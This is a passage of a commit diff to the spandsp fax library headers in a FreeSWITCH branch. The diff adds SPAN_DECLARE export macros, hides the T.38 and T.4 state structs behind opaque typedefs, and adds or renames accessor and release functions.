     \param from_modem_len The length of the overwrite string.
 */
-void t38_gateway_set_nsx_suppression(t38_gateway_state_t *s,
-                                     const uint8_t *from_t38,
-                                     int from_t38_len,
-                                     const uint8_t *from_modem,
-                                     int from_modem_len);
+SPAN_DECLARE(void) t38_gateway_set_nsx_suppression(t38_gateway_state_t *s,
+                                                   const uint8_t *from_t38,
+                                                   int from_t38_len,
+                                                   const uint8_t *from_modem,
+                                                   int from_modem_len);
 
 /*! Select whether talker echo protection tone will be sent for the image modems.
     \brief Select whether TEP will be sent for the image modems.
     \param s The T.38 context.
     \param use_tep TRUE if TEP should be sent.
 */
-void t38_gateway_set_tep_mode(t38_gateway_state_t *s, int use_tep);
+SPAN_DECLARE(void) t38_gateway_set_tep_mode(t38_gateway_state_t *s, int use_tep);
 
 /*! Select whether non-ECM fill bits are to be removed during transmission.
     \brief Select whether non-ECM fill bits are to be removed during transmission.
     \param s The T.38 context.
     \param remove TRUE if fill bits are to be removed.
 */
-void t38_gateway_set_fill_bit_removal(t38_gateway_state_t *s, int remove);
+SPAN_DECLARE(void) t38_gateway_set_fill_bit_removal(t38_gateway_state_t *s, int remove);
 
 /*! Get the current transfer statistics for the current T.38 session.
     \brief Get the current transfer statistics.
     \param s The T.38 context.
     \param t A pointer to a buffer for the statistics. */
-void t38_gateway_get_transfer_statistics(t38_gateway_state_t *s, t38_stats_t *t);
+SPAN_DECLARE(void) t38_gateway_get_transfer_statistics(t38_gateway_state_t *s, t38_stats_t *t);
 
+/*! Get a pointer to the T.38 core IFP packet engine associated with a
+    gateway mode T.38 context.
+    \brief Get a pointer to the T.38 core IFP packet engine associated
+           with a T.38 context.
+    \param s The T.38 context.
+    \return A pointer to the T.38 core context, or NULL.
+*/
+SPAN_DECLARE(t38_core_state_t *) t38_gateway_get_t38_core_state(t38_gateway_state_t *s);
+
+/*! Get a pointer to the logging context associated with a T.38 context.
+    \brief Get a pointer to the logging context associated with a T.38 context.
+    \param s The T.38 context.
+    \return A pointer to the logging context, or NULL.
+*/
+SPAN_DECLARE(logging_state_t *) t38_gateway_get_logging_state(t38_gateway_state_t *s);
+
 /*! Set a callback function for T.30 frame exchange monitoring. This is called from the heart
     of the signal processing, so don't take too long in the handler routine.
     \brief Set a callback function for T.30 frame exchange monitoring.
     \param s The T.30 context.
     \param handler The callback function.
     \param user_data An opaque pointer passed to the callback function. */
-void t38_gateway_set_real_time_frame_handler(t38_gateway_state_t *s,
-                                             t38_gateway_real_time_frame_handler_t *handler,
-                                             void *user_data);
+SPAN_DECLARE(void) t38_gateway_set_real_time_frame_handler(t38_gateway_state_t *s,
+                                                           t38_gateway_real_time_frame_handler_t *handler,
+                                                           void *user_data);
 
 #if defined(__cplusplus)
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/t38_non_ecm_buffer.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/t38_non_ecm_buffer.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/t38_non_ecm_buffer.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -23,7 +23,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: t38_non_ecm_buffer.h,v 1.2 2008/09/02 13:56:10 steveu Exp $
+ * $Id: t38_non_ecm_buffer.h,v 1.7 2009/02/10 13:06:47 steveu Exp $
  */
 
 /*! \file */
@@ -47,56 +47,8 @@
 /*! \brief A flow controlled non-ECM image data buffer, for buffering T.38 to analogue
            modem data.
 */
-typedef struct
-{
-    /*! \brief Minimum number of bits per row, used when fill bits are being deleted on the
-               link, and restored at the emitting gateway. */
-    int min_row_bits;
+typedef struct t38_non_ecm_buffer_state_s t38_non_ecm_buffer_state_t;
 
-    /*! \brief non-ECM modem transmit data buffer. */
-    uint8_t data[T38_NON_ECM_TX_BUF_LEN];
-    /*! \brief The current write point in the buffer. */
-    int in_ptr;
-    /*! \brief The current read point in the buffer. */
-    int out_ptr;
-    /*! \brief The location of the most recent EOL marker in the buffer. */
-    int latest_eol_ptr;
-    /*! \brief The number of bits to date in the current row, used when min_row_bits is
-               to be applied. */
-    int row_bits;
-
-    /*! \brief The bit stream entering the buffer, used to detect EOLs */
-    unsigned int bit_stream;
-    /*! \brief The non-ECM flow control fill octet (0xFF before the first data, and 0x00
-               once data has started). */
-    uint8_t flow_control_fill_octet;
-    /*! \brief TRUE if we are in the initial all ones part of non-ECM transmission. */
-    int at_initial_all_ones;
-    /*! \brief TRUE is the end of non-ECM data indication has been received. */
-    int data_finished;
-    /*! \brief The current octet being transmitted from the buffer. */
-    unsigned int octet;
-    /*! \brief The current bit number in the current non-ECM octet. */
-    int bit_no;
-    /*! \brief TRUE if in image data mode, as opposed to TCF mode. */
-    int image_data_mode;
-
-    /*! \brief The number of octets input to the buffer. */
-    int in_octets;
-    /*! \brief The number of rows input to the buffer. */
-    int in_rows;
-    /*! \brief The number of non-ECM fill octets generated for minimum row bits
-               purposes. */
-    int min_row_bits_fill_octets;
-    /*! \brief The number of octets output from the buffer. */
-    int out_octets;
-    /*! \brief The number of rows output from the buffer. */
-    int out_rows;
-    /*! \brief The number of non-ECM fill octets generated for flow control
-               purposes. */
-    int flow_control_fill_octets;
-} t38_non_ecm_buffer_state_t;
-
 #if defined(__cplusplus)
 extern "C"
 {
@@ -107,41 +59,45 @@
     \param mode TRUE for image data mode, or FALSE for TCF mode.
     \param bits The minimum number of bits per FAX image row.
     \return A pointer to the buffer context, or NULL if there was a problem. */
-t38_non_ecm_buffer_state_t *t38_non_ecm_buffer_init(t38_non_ecm_buffer_state_t *s, int mode, int min_row_bits);
+SPAN_DECLARE(t38_non_ecm_buffer_state_t *) t38_non_ecm_buffer_init(t38_non_ecm_buffer_state_t *s, int mode, int min_row_bits);
 
+SPAN_DECLARE(int) t38_non_ecm_buffer_release(t38_non_ecm_buffer_state_t *s);
+
+SPAN_DECLARE(int) t38_non_ecm_buffer_free(t38_non_ecm_buffer_state_t *s);
+
 /*! \brief Set the mode of a T.38 rate adapting non-ECM buffer context.
     \param s The buffer context.
     \param mode TRUE for image data mode, or FALSE for TCF mode.
     \param bits The minimum number of bits per FAX image row. */
-void t38_non_ecm_buffer_set_mode(t38_non_ecm_buffer_state_t *s, int mode, int min_row_bits);
+SPAN_DECLARE(void) t38_non_ecm_buffer_set_mode(t38_non_ecm_buffer_state_t *s, int mode, int min_row_bits);
 
 /*! \brief Inject data to T.38 rate adapting non-ECM buffer context.
     \param s The buffer context.
     \param buf The data buffer to be injected.
     \param len The length of the data to be injected. */
-void t38_non_ecm_buffer_inject(t38_non_ecm_buffer_state_t *s, const uint8_t *buf, int len);
+SPAN_DECLARE(void) t38_non_ecm_buffer_inject(t38_non_ecm_buffer_state_t *s, const uint8_t *buf, int len);
 
 /*! \brief Inform a T.38 rate adapting non-ECM buffer context that the incoming data has finished,
            and the contents of the buffer should be played out as quickly as possible.
     \param s The buffer context. */
-void t38_non_ecm_buffer_push(t38_non_ecm_buffer_state_t *s);
+SPAN_DECLARE(void) t38_non_ecm_buffer_push(t38_non_ecm_buffer_state_t *s);
 
 /*! \brief Report the input status of a T.38 rate adapting non-ECM buffer context to the specified
            logging context.
     \param s The buffer context.
     \param logging The logging context. */
-void t38_non_ecm_buffer_report_input_status(t38_non_ecm_buffer_state_t *s, logging_state_t *logging);
+SPAN_DECLARE(void) t38_non_ecm_buffer_report_input_status(t38_non_ecm_buffer_state_t *s, logging_state_t *logging);
 
 /*! \brief Report the output status of a T.38 rate adapting non-ECM buffer context to the specified
            logging context.
     \param s The buffer context.
     \param logging The logging context. */
-void t38_non_ecm_buffer_report_output_status(t38_non_ecm_buffer_state_t *s, logging_state_t *logging);
+SPAN_DECLARE(void) t38_non_ecm_buffer_report_output_status(t38_non_ecm_buffer_state_t *s, logging_state_t *logging);
 
 /*! \brief Get the next bit of data from a T.38 rate adapting non-ECM buffer context.
     \param user_data The buffer context, cast to a void pointer.
     \return The next bit, or one of the values indicating a change of modem status. */
-int t38_non_ecm_buffer_get_bit(void *user_data);
+SPAN_DECLARE_NONSTD(int) t38_non_ecm_buffer_get_bit(void *user_data);
 
 #if defined(__cplusplus)
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/t38_terminal.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/t38_terminal.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/t38_terminal.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: t38_terminal.h,v 1.37 2008/08/14 14:06:05 steveu Exp $
+ * $Id: t38_terminal.h,v 1.41 2009/02/03 16:28:41 steveu Exp $
  */
 
 /*! \file */
@@ -39,122 +39,54 @@
 /* Make sure the HDLC frame buffers are big enough for ECM frames. */
 #define T38_MAX_HDLC_LEN        260
 
-typedef struct
-{
-    /*! \brief Internet Aware FAX mode bit mask. */
-    int iaf;
-    /*! \brief Required time between T.38 transmissions, in ms. */
-    int ms_per_tx_chunk;
-    /*! \brief Bit fields controlling the way data is packed into chunked for transmission. */
-    int chunking_modes;
+typedef struct t38_terminal_state_s t38_terminal_state_t;
 
-    /*! \brief Core T.38 IFP support */
-    t38_core_state_t t38;
-
-    /*! \brief The current transmit step being timed */
-    int timed_step;
-
-    /*! \brief TRUE is there has been some T.38 data missed (i.e. lost packets) in the current
-               reception period. */
-    int rx_data_missing;
-
-    /*! \brief The number of octets to send in each image packet (non-ECM or ECM) at the current
-               rate and the current specified packet interval. */
-    int octets_per_data_packet;
-
-    struct
-    {
-        /*! \brief HDLC receive buffer */
-        uint8_t buf[T38_MAX_HDLC_LEN];
-        /*! \brief The length of the contents of the HDLC receive buffer */
-        int len;
-    } hdlc_rx;
-
-    struct
-    {
-        /*! \brief HDLC transmit buffer */
-        uint8_t buf[T38_MAX_HDLC_LEN];
-        /*! \brief The length of the contents of the HDLC transmit buffer */
-        int len;
-        /*! \brief Current pointer within the contents of the HDLC transmit buffer */
-        int ptr;
-        /*! \brief The number of extra bits in a fully stuffed version of the
-                   contents of the HDLC transmit buffer. This is needed to accurately
-                   estimate the playout time for this frame, through an analogue modem. */
-        int extra_bits;
-    } tx;
-
-    /*! \brief Counter for trailing non-ECM bytes, used to flush out the far end's modem. */
-    int non_ecm_trailer_bytes;
-
-    /*! \brief The next T.38 indicator queued for transmission. */
-    int next_tx_indicator;
-    /*! \brief The current T.38 data type being transmitted. */
-    int current_tx_data_type;
-
-    /*! \brief TRUE if a carrier is present. Otherwise FALSE. */
-    int rx_signal_present;
-
-    /*! \brief The current operating mode of the receiver. */
-    int current_rx_type;
-    /*! \brief The current operating mode of the transmitter. */
-    int current_tx_type;
-
-    /*! \brief Current transmission bit rate. */
-    int tx_bit_rate;
-    /*! \brief A "sample" count, used to time events. */
-    int32_t samples;
-    /*! \brief The value for samples at the next transmission point. */
-    int32_t next_tx_samples;
-    /*! \brief The current receive timeout. */
-    int32_t timeout_rx_samples;
-} t38_terminal_front_end_state_t;
-
-/*!
-    T.38 terminal state.
-*/
-typedef struct
-{
-    /*! \brief The T.30 back-end */
-    t30_state_t t30;
-
-    /*! \brief The T.38 front-end */
-    t38_terminal_front_end_state_t t38_fe;
-
-    /*! \brief Error and flow logging control */
-    logging_state_t logging;
-} t38_terminal_state_t;
-
 #if defined(__cplusplus)
 extern "C"
 {
 #endif
 
-int t38_terminal_send_timeout(t38_terminal_state_t *s, int samples);
+SPAN_DECLARE(int) t38_terminal_send_timeout(t38_terminal_state_t *s, int samples);
 
-void t38_terminal_set_config(t38_terminal_state_t *s, int without_pacing);
+SPAN_DECLARE(void) t38_terminal_set_config(t38_terminal_state_t *s, int without_pacing);
 
 /*! Select whether the time for talker echo protection tone will be allowed for when sending.
     \brief Select whether TEP time will be allowed for.
     \param s The T.38 context.
     \param use_tep TRUE if TEP should be allowed for.
 */
-void t38_terminal_set_tep_mode(t38_terminal_state_t *s, int use_tep);
+SPAN_DECLARE(void) t38_terminal_set_tep_mode(t38_terminal_state_t *s, int use_tep);
 
 /*! Select whether non-ECM fill bits are to be removed during transmission.
     \brief Select whether non-ECM fill bits are to be removed during transmission.
     \param s The T.38 context.
     \param remove TRUE if fill bits are to be removed.
 */
-void t38_terminal_set_fill_bit_removal(t38_terminal_state_t *s, int remove);
+SPAN_DECLARE(void) t38_terminal_set_fill_bit_removal(t38_terminal_state_t *s, int remove);
 
 /*! Get a pointer to the T.30 engine associated with a termination mode T.38 context.
     \brief Get a pointer to the T.30 engine associated with a T.38 context.
     \param s The T.38 context.
     \return A pointer to the T.30 context, or NULL.
 */
-t30_state_t *t38_terminal_get_t30_state(t38_terminal_state_t *s);
+SPAN_DECLARE(t30_state_t *) t38_terminal_get_t30_state(t38_terminal_state_t *s);
 
+/*! Get a pointer to the T.38 core IFP packet engine associated with a
+    termination mode T.38 context.
+    \brief Get a pointer to the T.38 core IFP packet engine associated
+           with a T.38 context.
+    \param s The T.38 context.
+    \return A pointer to the T.38 core context, or NULL.
+*/
+SPAN_DECLARE(t38_core_state_t *) t38_terminal_get_t38_core_state(t38_terminal_state_t *s);
+
+/*! Get a pointer to the logging context associated with a T.38 context.
+    \brief Get a pointer to the logging context associated with a T.38 context.
+    \param s The T.38 context.
+    \return A pointer to the logging context, or NULL.
+*/
+SPAN_DECLARE(logging_state_t *) t38_terminal_get_logging_state(t38_terminal_state_t *s);
+
 /*! \brief Initialise a termination mode T.38 context.
     \param s The T.38 context.
     \param calling_party TRUE if the context is for a calling party. FALSE if the
@@ -162,22 +94,22 @@
     \param tx_packet_handler A callback routine to encapsulate and transmit T.38 packets.
     \param tx_packet_user_data An opaque pointer passed to the tx_packet_handler routine.
     \return A pointer to the termination mode T.38 context, or NULL if there was a problem. */
-t38_terminal_state_t *t38_terminal_init(t38_terminal_state_t *s,
-                                        int calling_party,
-                                        t38_tx_packet_handler_t *tx_packet_handler,
-                                        void *tx_packet_user_data);
+SPAN_DECLARE(t38_terminal_state_t *) t38_terminal_init(t38_terminal_state_t *s,
+                                                       int calling_party,
+                                                       t38_tx_packet_handler_t *tx_packet_handler,
+                                                       void *tx_packet_user_data);
 
 /*! Release a termination mode T.38 context.
     \brief Release a T.38 context.
     \param s The T.38 context.
     \return 0 for OK, else -1. */
-int t38_terminal_release(t38_terminal_state_t *s);
+SPAN_DECLARE(int) t38_terminal_release(t38_terminal_state_t *s);
 
 /*! Free a a termination mode T.38 context.
     \brief Free a T.38 context.
     \param s The T.38 context.
     \return 0 for OK, else -1. */
-int t38_terminal_free(t38_terminal_state_t *s);
+SPAN_DECLARE(int) t38_terminal_free(t38_terminal_state_t *s);
 
 #if defined(__cplusplus)
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/t4.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/t4.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/t4.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: t4.h,v 1.52 2008/07/22 13:48:15 steveu Exp $
+ * $Id: t4.h,v 1.59 2009/04/12 09:12:10 steveu Exp $
  */
 
 /*! \file */
@@ -175,171 +175,8 @@
     T.4 FAX compression/decompression descriptor. This defines the working state
     for a single instance of a T.4 FAX compression or decompression channel.
 */
-typedef struct
-{
-    /*! \brief The same structure is used for T.4 transmit and receive. This variable
-               records which mode is in progress. */
-    int rx;
-    /* "Background" information about the FAX, which can be stored in a TIFF file. */
-    /*! \brief The vendor of the machine which produced the TIFF file. */ 
-    const char *vendor;
-    /*! \brief The model of machine which produced the TIFF file. */ 
-    const char *model;
-    /*! \brief The local ident string. */ 
-    const char *local_ident;
-    /*! \brief The remote end's ident string. */ 
-    const char *far_ident;
-    /*! \brief The FAX sub-address. */ 
-    const char *sub_address;
-    /*! \brief The FAX DCS information, as an ASCII string. */ 
-    const char *dcs;
-    /*! \brief The text which will be used in FAX page header. No text results
-               in no header line. */
-    const char *header_info;
+typedef struct t4_state_s t4_state_t;
 
-    /*! \brief The type of compression used between the FAX machines. */
-    int line_encoding;
-    /*! \brief The minimum number of encoded bits per row. This is a timing thing
-               for hardware FAX machines. */
-    int min_bits_per_row;
-    
-    /*! \brief The compression type for output to the TIFF file. */
-    int output_compression;
-    /*! \brief The TIFF G3 FAX options. */
-    int output_t4_options;
-
-    /*! \brief Callback function to read a row of pixels from the image source. */
-    t4_row_read_handler_t row_read_handler;
-    /*! \brief Opaque pointer passed to row_read_handler. */
-    void *row_read_user_data;
-    /*! \brief Callback function to write a row of pixels to the image destination. */
-    t4_row_write_handler_t row_write_handler;
-    /*! \brief Opaque pointer passed to row_write_handler. */
-    void *row_write_user_data;
-
-    /*! \brief The time at which handling of the current page began. */
-    time_t page_start_time;
-
-    /*! \brief The current number of bytes per row of uncompressed image data. */
-    int bytes_per_row;
-    /*! \brief The size of the image in the image buffer, in bytes. */
-    int image_size;
-    /*! \brief The size of the compressed image on the line side, in bits. */
-    int line_image_size;
-    /*! \brief The current size of the image buffer. */
-    int image_buffer_size;
-    /*! \brief A point to the image buffer. */
-    uint8_t *image_buffer;
-
-    /*! \brief The libtiff context for the current TIFF file */
-    TIFF *tiff_file;
-    /*! \brief The current file name. */
-    const char *file;
-    /*! \brief The first page to transfer. -1 to start at the beginning of the file. */
-    int start_page;
-    /*! \brief The last page to transfer. -1 to continue to the end of the file. */
-    int stop_page;
-
-    /*! \brief The number of pages transferred to date. */
-    int pages_transferred;
-    /*! \brief The number of pages in the current TIFF file. */
-    int pages_in_file;
-    /*! \brief Column-to-column (X) resolution in pixels per metre. */
-    int x_resolution;
-    /*! \brief Row-to-row (Y) resolution in pixels per metre. */
-    int y_resolution;
-    /*! \brief Width of the current page, in pixels. */
-    int image_width;
-    /*! \brief Length of the current page, in pixels. */
-    int image_length;
-    /*! \brief Current pixel row number. */
-    int row;
-    /*! \brief The current number of consecutive bad rows. */
-    int curr_bad_row_run;
-    /*! \brief The longest run of consecutive bad rows seen in the current page. */
-    int longest_bad_row_run;
-    /*! \brief The total number of bad rows in the current page. */
-    int bad_rows;
-
-    /*! \brief Incoming bit buffer for decompression. */
-    uint32_t rx_bitstream;
-    /*! \brief The number of bits currently in rx_bitstream. */
-    int rx_bits;
-    /*! \brief The number of bits to be skipped before trying to match the next code word. */
-    int rx_skip_bits;
-
-    /*! \brief This variable is set if we are treating the current row as a 2D encoded
-               one. */
-    int row_is_2d;
-    /*! \brief TRUE if the current run is black */
-    int its_black;
-    /*! \brief The current length of the current row. */
-    int row_len;
-    /*! \brief This variable is used to count the consecutive EOLS we have seen. If it
-               reaches six, this is the end of the image. It is initially set to -1 for
-               1D and 2D decoding, as an indicator that we must wait for the first EOL,
-               before decodin any image data. */
-    int consecutive_eols;
-
-    /*! \brief Black and white run-lengths for the current row. */
-    uint32_t *cur_runs;
-    /*! \brief Black and white run-lengths for the reference row. */
-    uint32_t *ref_runs;
-    /*! \brief The number of runs currently in the reference row. */
-    int ref_steps;
-    /*! \brief The current step into the reference row run-lengths buffer. */
-    int b_cursor;
-    /*! \brief The current step into the current row run-lengths buffer. */
-    int a_cursor;
-
-    /*! \brief The reference or starting changing element on the coding line. At the
-               start of the coding line, a0 is set on an imaginary white changing element
-               situated just before the first element on the line. During the coding of
-               the coding line, the position of a0 is defined by the previous coding mode.
-               (See 4.2.1.3.2.). */
-    int a0;
-    /*! \brief The first changing element on the reference line to the right of a0 and of
-               opposite colour to a0. */
-    int b1;
-    /*! \brief The length of the in-progress run of black or white. */
-    int run_length;
-    /*! \brief 2D horizontal mode control. */
-    int black_white;
-
-    /*! \brief Encoded data bits buffer. */
-    uint32_t tx_bitstream;
-    /*! \brief The number of bits currently in tx_bitstream. */
-    int tx_bits;
-
-    /*! \brief A pointer into the image buffer indicating where the last row begins */
-    int last_row_starts_at;
-    /*! \brief A pointer into the image buffer indicating where the current row begins */
-    int row_starts_at;
-    
-    /*! \brief Pointer to the buffer for the current pixel row. */
-    uint8_t *row_buf;
-    
-    /*! \brief Pointer to the byte containing the next image bit to transmit. */
-    int bit_pos;
-    /*! \brief Pointer to the bit within the byte containing the next image bit to transmit. */
-    int bit_ptr;
-
-    /*! \brief The current maximum contiguous rows that may be 2D encoded. */
-    int max_rows_to_next_1d_row;
-    /*! \brief Number of rows left that can be 2D encoded, before a 1D encoded row
-               must be used. */
-    int rows_to_next_1d_row;
-    /*! \brief The current number of bits in the current encoded row. */
-    int row_bits;
-    /*! \brief The minimum bits in any row of the current page. For monitoring only. */
-    int min_row_bits;
-    /*! \brief The maximum bits in any row of the current page. For monitoring only. */
-    int max_row_bits;
-
-    /*! \brief Error and flow logging control */
-    logging_state_t logging;
-} t4_state_t;
-
 /*!
     T.4 FAX compression/decompression statistics.
 */
@@ -376,97 +213,102 @@
     \param file The name of the file to be received.
     \param output_encoding The output encoding.
     \return A pointer to the context, or NULL if there was a problem. */
-t4_state_t *t4_rx_init(t4_state_t *s, const char *file, int output_encoding);
+SPAN_DECLARE(t4_state_t *) t4_rx_init(t4_state_t *s, const char *file, int output_encoding);
 
 /*! \brief Prepare to receive the next page of the current document.
     \param s The T.4 context.
     \return zero for success, -1 for failure. */
-int t4_rx_start_page(t4_state_t *s);
+SPAN_DECLARE(int) t4_rx_start_page(t4_state_t *s);
 
 /*! \brief Put a bit of the current document page.
     \param s The T.4 context.
     \param bit The data bit.
     \return TRUE when the bit ends the document page, otherwise FALSE. */
-int t4_rx_put_bit(t4_state_t *s, int bit);
+SPAN_DECLARE(int) t4_rx_put_bit(t4_state_t *s, int bit);
 
 /*! \brief Put a byte of the current document page.
     \param s The T.4 context.
     \param byte The data byte.
     \return TRUE when the byte ends the document page, otherwise FALSE. */
-int t4_rx_put_byte(t4_state_t *s, uint8_t byte);
+SPAN_DECLARE(int) t4_rx_put_byte(t4_state_t *s, uint8_t byte);
 
 /*! \brief Put a byte of the current document page.
     \param s The T.4 context.
     \param buf The buffer containing the chunk.
     \param len The length of the chunk.
     \return TRUE when the byte ends the document page, otherwise FALSE. */
-int t4_rx_put_chunk(t4_state_t *s, const uint8_t buf[], int len);
+SPAN_DECLARE(int) t4_rx_put_chunk(t4_state_t *s, const uint8_t buf[], int len);
 
 /*! \brief Complete the reception of a page.
     \param s The T.4 receive context.
     \return 0 for success, otherwise -1. */
-int t4_rx_end_page(t4_state_t *s);
+SPAN_DECLARE(int) t4_rx_end_page(t4_state_t *s);
 
+/*! \brief End reception of a document. Tidy up and close the file.
+           This should be used to end T.4 reception started with
+           t4_rx_init.
+    \param s The T.4 receive context.
+    \return 0 for success, otherwise -1. */
+SPAN_DECLARE(int) t4_rx_release(t4_state_t *s);
+
 /*! \brief End reception of a document. Tidy up, close the file and
            free the context. This should be used to end T.4 reception
            started with t4_rx_init.
     \param s The T.4 receive context.
     \return 0 for success, otherwise -1. */
-int t4_rx_delete(t4_state_t *s);
+SPAN_DECLARE(int) t4_rx_free(t4_state_t *s);
 
-/*! \brief End reception of a document. Tidy up and close the file.
-           This should be used to end T.4 reception started with
-           t4_rx_init.
-    \param s The T.4 context.
+/*! \brief Set the row write handler for a T.4 receive context.
+    \param s The T.4 receive context.
+    \param handler A pointer to the handler routine.
+    \param user_data An opaque pointer passed to the handler routine.
     \return 0 for success, otherwise -1. */
-int t4_rx_end(t4_state_t *s);
+SPAN_DECLARE(int) t4_rx_set_row_write_handler(t4_state_t *s, t4_row_write_handler_t handler, void *user_data);
 
-int t4_rx_set_row_write_handler(t4_state_t *s, t4_row_write_handler_t handler, void *user_data);
-
 /*! \brief Set the encoding for the received data.
     \param s The T.4 context.
     \param encoding The encoding. */
-void t4_rx_set_rx_encoding(t4_state_t *s, int encoding);
+SPAN_DECLARE(void) t4_rx_set_rx_encoding(t4_state_t *s, int encoding);
 
 /*! \brief Set the expected width of the received image, in pixel columns.
     \param s The T.4 context.
     \param width The number of pixels across the image. */
-void t4_rx_set_image_width(t4_state_t *s, int width);
+SPAN_DECLARE(void) t4_rx_set_image_width(t4_state_t *s, int width);
 
 /*! \brief Set the row-to-row (y) resolution to expect for a received image.
     \param s The T.4 context.
     \param resolution The resolution, in pixels per metre. */
-void t4_rx_set_y_resolution(t4_state_t *s, int resolution);
+SPAN_DECLARE(void) t4_rx_set_y_resolution(t4_state_t *s, int resolution);
 
 /*! \brief Set the column-to-column (x) resolution to expect for a received image.
     \param s The T.4 context.
     \param resolution The resolution, in pixels per metre. */
-void t4_rx_set_x_resolution(t4_state_t *s, int resolution);
+SPAN_DECLARE(void) t4_rx_set_x_resolution(t4_state_t *s, int resolution);
 
 /*! \brief Set the DCS information of the fax, for inclusion in the file.
     \param s The T.4 context.
     \param dcs The DCS information, formatted as an ASCII string. */
-void t4_rx_set_dcs(t4_state_t *s, const char *dcs);
+SPAN_DECLARE(void) t4_rx_set_dcs(t4_state_t *s, const char *dcs);
 
 /*! \brief Set the sub-address of the fax, for inclusion in the file.
     \param s The T.4 context.
     \param sub_address The sub-address string. */
-void t4_rx_set_sub_address(t4_state_t *s, const char *sub_address);
+SPAN_DECLARE(void) t4_rx_set_sub_address(t4_state_t *s, const char *sub_address);
 
 /*! \brief Set the identity of the remote machine, for inclusion in the file.
     \param s The T.4 context.
     \param ident The identity string. */
-void t4_rx_set_far_ident(t4_state_t *s, const char *ident);
+SPAN_DECLARE(void) t4_rx_set_far_ident(t4_state_t *s, const char *ident);
 
 /*! \brief Set the vendor of the remote machine, for inclusion in the file.
     \param s The T.4 context.
     \param vendor The vendor string, or NULL. */
-void t4_rx_set_vendor(t4_state_t *s, const char *vendor);
+SPAN_DECLARE(void) t4_rx_set_vendor(t4_state_t *s, const char *vendor);
 
 /*! \brief Set the model of the remote machine, for inclusion in the file.
     \param s The T.4 context.
     \param model The model string, or NULL. */
-void t4_rx_set_model(t4_state_t *s, const char *model);
+SPAN_DECLARE(void) t4_rx_set_model(t4_state_t *s, const char *model);
 
 /*! \brief Prepare for transmission of a document.
     \param s The T.4 context.
@@ -474,28 +316,31 @@
     \param start_page The first page to send. -1 for no restriction.
     \param stop_page The last page to send. -1 for no restriction.
     \return A pointer to the context, or NULL if there was a problem. */
-t4_state_t *t4_tx_init(t4_state_t *s, const char *file, int start_page, int stop_page);
+SPAN_DECLARE(t4_state_t *) t4_tx_init(t4_state_t *s, const char *file, int start_page, int stop_page);
 
 /*! \brief Prepare to send the next page of the current document.
     \param s The T.4 context.
     \return zero for success, -1 for failure. */
-int t4_tx_start_page(t4_state_t *s);
+SPAN_DECLARE(int) t4_tx_start_page(t4_state_t *s);
 
 /*! \brief Prepare the current page for a resend.
     \param s The T.4 context.
     \return zero for success, -1 for failure. */
-int t4_tx_restart_page(t4_state_t *s);
+SPAN_DECLARE(int) t4_tx_restart_page(t4_state_t *s);
 
-/*! \brief Check for the existance of the next page. This information can
-    be needed before it is determined that the current page is finished with.
+/*! \brief Check for the existance of the next page, and whether its format is like the
+    current one. This information can be needed before it is determined that the current
+    page is finished with.
     \param s The T.4 context.
-    \return zero for next page found, -1 for failure. */
-int t4_tx_more_pages(t4_state_t *s);
+    \return 0 for next page found with the same format as the current page.
+            1 for next page found with different format from the current page.
+            -1 for no page found, or file failure. */
+SPAN_DECLARE(int) t4_tx_next_page_has_different_format(t4_state_t *s);
 
 /*! \brief Complete the sending of a page.
     \param s The T.4 context.
     \return zero for success, -1 for failure. */
-int t4_tx_end_page(t4_state_t *s);
+SPAN_DECLARE(int) t4_tx_end_page(t4_state_t *s);
 
 /*! \brief Get the next bit of the current document page. The document will
            be padded for the current minimum scan line time. If the
@@ -504,7 +349,7 @@
     \param s The T.4 context.
     \return The next bit (i.e. 0 or 1). For the last bit of data, bit 1 is
             set (i.e. the returned value is 2 or 3). */
-int t4_tx_get_bit(t4_state_t *s);
+SPAN_DECLARE(int) t4_tx_get_bit(t4_state_t *s);
 
 /*! \brief Get the next byte of the current document page. The document will
            be padded for the current minimum scan line time. If the
@@ -514,7 +359,7 @@
     \return The next byte. For the last byte of data, bit 8 is
             set. In this case, one or more bits of the byte may be padded with
             zeros, to complete the byte. */
-int t4_tx_get_byte(t4_state_t *s);
+SPAN_DECLARE(int) t4_tx_get_byte(t4_state_t *s);
 
 /*! \brief Get the next chunk of the current document page. The document will
            be padded for the current minimum scan line time. If the
@@ -525,7 +370,7 @@
     \param max_len The maximum length of the chunk.
     \return The actual length of the chunk. If this is less than max_len it 
             indicates that the end of the document has been reached. */
-int t4_tx_get_chunk(t4_state_t *s, uint8_t buf[], int max_len);
+SPAN_DECLARE(int) t4_tx_get_chunk(t4_state_t *s, uint8_t buf[], int max_len);
 
 /*! \brief Return the next bit of the current document page, without actually
            moving forward in the buffer. The document will be padded for the
@@ -535,37 +380,37 @@
     \param s The T.4 context.
     \return The next bit (i.e. 0 or 1). For the last bit of data, bit 1 is
             set (i.e. the returned value is 2 or 3). */
-int t4_tx_check_bit(t4_state_t *s);
+SPAN_DECLARE(int) t4_tx_check_bit(t4_state_t *s);
 
+/*! \brief End the transmission of a document. Tidy up and close the file.
+           This should be used to end T.4 transmission started with t4_tx_init.
+    \param s The T.4 context.
+    \return 0 for success, otherwise -1. */
+SPAN_DECLARE(int) t4_tx_release(t4_state_t *s);
+
 /*! \brief End the transmission of a document. Tidy up, close the file and
            free the context. This should be used to end T.4 transmission
            started with t4_tx_init.
     \param s The T.4 context.
